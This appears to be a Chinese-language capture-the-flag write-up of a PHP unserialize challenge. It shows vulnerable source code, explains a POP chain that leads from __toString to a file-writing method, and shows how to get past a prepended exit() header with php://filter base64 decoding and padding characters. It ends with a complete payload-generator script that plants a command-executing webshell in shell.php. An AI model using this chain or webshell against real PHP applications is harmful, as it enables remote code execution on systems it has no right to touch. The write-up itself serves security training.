

php
<?php
error_reporting(0);
highlight_file(__FILE__);
class AudiLog {
public $handler;
public function __construct() {
$this->handler = new SystemStatus();
}
public function __toString() {
return $this->handler->process();
}
}
class FileCache {
public $filePath;
public $content;
public function __construct($path = '', $data = '') {
$this->filePath = $path;
$this->content = $data;
}
public function process() {
$security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
$final_data = $security_header . $this->content;
file_put_contents($this->filePath, $final_data);
return "Cache Saved.";
}
}
class SystemStatus {
public function process() {
if(file_exists('./system_config.php')) {
include('./system_config.php');
}
return "System logic normal.";
}
}
$payload = $_POST['data'];
if(isset($payload)){
echo unserialize($payload);
}
else{
echo "Invalid data stream.";
}
?>
从上面的代码中我们查找利用点,可以通过FileCache的process()写入一句话木马
php
class FileCache {
public $filePath;
public $content;
public function __construct($path = '', $data = '') {
$this->filePath = $path;
$this->content = $data;
}
public function process() {
$security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
$final_data = $security_header . $this->content;
file_put_contents($this->filePath, $final_data);
return "Cache Saved.";
}
}
但是这里有一个问题是FileCache的process()在写入文件内容的时候,会在文件内容前面添加,让文件没有运行就退出
php
<?php exit("Access Denied: Protected Cache"); ?>
因此我们要想办法绕过,我们可以通过base64解码吞字符的形势来躲过
php
'<?php exit("Access Denied: Protected Cache"); ?>'
我们命令是
php
<?php system("cat /f*");?>
对应的base64编码是
PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7Pz4=
然后我们打开cyberchef来进行组合拼接,让base64能够正常解析
可以看到中间加aaa就可以吞掉exit的代码,然后正常解码我们的命令

那么我们需要做下面的事情
php
1、进行字符串的相关操作来出发__toString()魔法函数,原文中echo unserialize($payload);的echo就已经出发了,所以不需要我们管
2、将AudiLog类中的$this->handler替换成FileCache()
3、$this->filePath 赋值为php://filter/write=convert.base64-decode/resource=shell.php
这样就可以先通过base64解码,然后再写入到shell.php
4、$x->handler->content赋值为
'aaa' . base64_encode('<?php system("cat /f*");?>')
那么我们的payload如下
php
<?php
class AudiLog {
public $handler;
public function __construct() {
$this->handler = new FileCache();
}
public function __toString() {
return $this->handler->process();
}
}
class FileCache {
public $filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
public $content ;
# 注意base64_encode函数不能直接赋值给变量,要放到__construct中
public function __construct() {
$this->content = 'aaa' . base64_encode('<?php system("cat /f*");?>');
}
}
$exp = new AudiLog();
echo(urlencode(serialize($exp)))
?>
访问得到payload

输入到网站中

成功写入shell.php文件,同时将前面的exit内容吞掉,并写入system命令
